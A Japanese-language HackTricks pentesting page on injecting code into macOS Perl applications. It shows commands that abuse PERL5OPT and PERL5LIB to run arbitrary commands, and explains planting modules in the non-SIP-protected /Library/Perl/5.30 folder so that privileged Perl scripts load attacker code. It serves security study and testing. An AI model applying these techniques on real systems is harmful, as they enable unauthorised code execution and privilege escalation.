hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-perl-applications-injection.md

6.1 KiB
Raw Blame History

macOS Perlアプリケーションのインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

PERL5OPTおよびPERL5LIB環境変数を介して

環境変数PERL5OPTを使用すると、perlで任意のコマンドを実行することができます。
たとえば、次のスクリプトを作成します:

{% code title="test.pl" %}

#!/usr/bin/perl
print "Hello from the Perl script!\n";

{% endcode %}

今、環境変数をエクスポートして、perlスクリプトを実行します。

export PERL5OPT='-Mwarnings;system("whoami")'
perl test.pl # This will execute "whoami"

別のオプションは、Perlモジュールを作成することです/tmp/pmod.pm

{% code title="/tmp/pmod.pm" %}

#!/usr/bin/perl
package pmod;
system('whoami');
1; # Modules must return a true value

{% endcode %}

そして、環境変数を使用します:

PERL5LIB=/tmp/ PERL5OPT=-Mpmod

依存関係を介して

Perlの実行時に依存関係のフォルダの順序をリストアップすることができます。

perl -e 'print join("\n", @INC)'

次のようなものが返されます:

/Library/Perl/5.30/darwin-thread-multi-2level
/Library/Perl/5.30
/Network/Library/Perl/5.30/darwin-thread-multi-2level
/Network/Library/Perl/5.30
/Library/Perl/Updates/5.30.3
/System/Library/Perl/5.30/darwin-thread-multi-2level
/System/Library/Perl/5.30
/System/Library/Perl/Extras/5.30/darwin-thread-multi-2level
/System/Library/Perl/Extras/5.30

いくつかの返されたフォルダは実際には存在しませんが、/Library/Perl/5.30存在します。これはSIPによって保護されていない上に、SIPによって保護されているフォルダよりも前に存在します。したがって、誰かがそのフォルダを悪用してスクリプトの依存関係を追加し、高特権のPerlスクリプトがそれを読み込むことができます。

{% hint style="warning" %} ただし、そのフォルダに書き込むにはroot権限が必要であり、現在ではこのようなTCCプロンプトが表示されます: {% endhint %}

たとえば、スクリプトが use File::Basename; をインポートしている場合、/Library/Perl/5.30/File/Basename.pm を作成して任意のコードを実行することができます。

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥